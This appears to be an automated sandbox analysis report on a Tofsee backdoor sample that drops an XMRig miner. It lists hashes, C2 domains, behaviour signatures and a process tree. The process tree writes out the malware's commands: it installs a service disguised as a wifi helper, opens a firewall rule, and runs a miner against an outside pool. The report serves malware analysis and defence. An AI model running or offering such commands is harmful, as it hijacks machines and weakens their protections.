Analysis

  • max time kernel
    143s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    10-10-2023 13:04

General

  • Target

    fe21006be0bc93da7054954bbd0ff37fc8ec20c4bb7984234a900589c2d5cbea.exe

  • Size

    217KB

  • MD5

    230ff2e809a0df012a0ef6b12c06bb45

  • SHA1

    084a7dcee5811e821f89b82f7852b9499aafd715

  • SHA256

    fe21006be0bc93da7054954bbd0ff37fc8ec20c4bb7984234a900589c2d5cbea

  • SHA512

    7cd672915fd04ea12f817be3659b0c651982993d5a9973483e7120952110278727ea440a0c80210c3870e0020bdbf754204ca2f85fa985860dd13def81767a11

  • SSDEEP

    3072:wHXDmRZY5duTJMTE1LkX3G2DpoCtPwIvY2MJlRAH0ev54G2T9K:CDoZbJG2wrPwf2uRO0euG2T

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fe21006be0bc93da7054954bbd0ff37fc8ec20c4bb7984234a900589c2d5cbea.exe
    "C:\Users\Admin\AppData\Local\Temp\fe21006be0bc93da7054954bbd0ff37fc8ec20c4bb7984234a900589c2d5cbea.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1364
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gvurisuf\
      2⤵
        PID:1712
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dttqcoec.exe" C:\Windows\SysWOW64\gvurisuf\
        2⤵
          PID:2636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gvurisuf binPath= "C:\Windows\SysWOW64\gvurisuf\dttqcoec.exe /d\"C:\Users\Admin\AppData\Local\Temp\fe21006be0bc93da7054954bbd0ff37fc8ec20c4bb7984234a900589c2d5cbea.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2640
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gvurisuf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2284
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gvurisuf
          2⤵
          • Launches sc.exe
          PID:2784
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2900
      • C:\Windows\SysWOW64\gvurisuf\dttqcoec.exe
        C:\Windows\SysWOW64\gvurisuf\dttqcoec.exe /d"C:\Users\Admin\AppData\Local\Temp\fe21006be0bc93da7054954bbd0ff37fc8ec20c4bb7984234a900589c2d5cbea.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2572
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1116

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\dttqcoec.exe

        Filesize

        11.5MB

        MD5

        4fae44e206770044adb5b7b0d414ca58

        SHA1

        cb5fe0af5895a214aec29b1618a0545438a84302

        SHA256

        59c89ef66a94977980ef06978a1388cea90c71c092bd1eb1a9cd86ed658ac6d8

        SHA512

        3cd49ecd957842763233a2e8f84125ff114848a79019df737a1984d8e9420f4ea4573c793027aa118af17accee8b607f8c7a68e52126b4be65ad0c73667192aa

      • C:\Windows\SysWOW64\gvurisuf\dttqcoec.exe

        Filesize

        11.5MB

        MD5

        4fae44e206770044adb5b7b0d414ca58

        SHA1

        cb5fe0af5895a214aec29b1618a0545438a84302

        SHA256

        59c89ef66a94977980ef06978a1388cea90c71c092bd1eb1a9cd86ed658ac6d8

        SHA512

        3cd49ecd957842763233a2e8f84125ff114848a79019df737a1984d8e9420f4ea4573c793027aa118af17accee8b607f8c7a68e52126b4be65ad0c73667192aa

      • memory/1116-72-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/1116-73-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/1116-62-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/1116-63-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/1116-71-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/1116-77-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/1116-76-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/1116-75-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/1116-74-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/1364-2-0x00000000003A0000-0x00000000003B3000-memory.dmp

        Filesize

        76KB

      • memory/1364-1-0x0000000000230000-0x0000000000330000-memory.dmp

        Filesize

        1024KB

      • memory/1364-3-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/1364-7-0x00000000003A0000-0x00000000003B3000-memory.dmp

        Filesize

        76KB

      • memory/1364-6-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/2572-38-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-46-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-27-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/2572-30-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-33-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-34-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-35-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-36-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-23-0x0000000001A60000-0x0000000001C6F000-memory.dmp

        Filesize

        2.1MB

      • memory/2572-37-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-39-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-40-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-41-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-42-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-43-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-44-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-45-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-26-0x0000000001A60000-0x0000000001C6F000-memory.dmp

        Filesize

        2.1MB

      • memory/2572-47-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-48-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-49-0x0000000000140000-0x0000000000150000-memory.dmp

        Filesize

        64KB

      • memory/2572-50-0x00000000002D0000-0x00000000002D5000-memory.dmp

        Filesize

        20KB

      • memory/2572-53-0x00000000002D0000-0x00000000002D5000-memory.dmp

        Filesize

        20KB

      • memory/2572-54-0x00000000059D0000-0x0000000005DDB000-memory.dmp

        Filesize

        4.0MB

      • memory/2572-57-0x00000000059D0000-0x0000000005DDB000-memory.dmp

        Filesize

        4.0MB

      • memory/2572-58-0x00000000002E0000-0x00000000002E7000-memory.dmp

        Filesize

        28KB

      • memory/2572-22-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2572-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2572-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2572-12-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2572-15-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2572-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2668-11-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/2668-17-0x0000000000400000-0x00000000005AE000-memory.dmp

        Filesize

        1.7MB

      • memory/2668-10-0x00000000002D0000-0x00000000003D0000-memory.dmp

        Filesize

        1024KB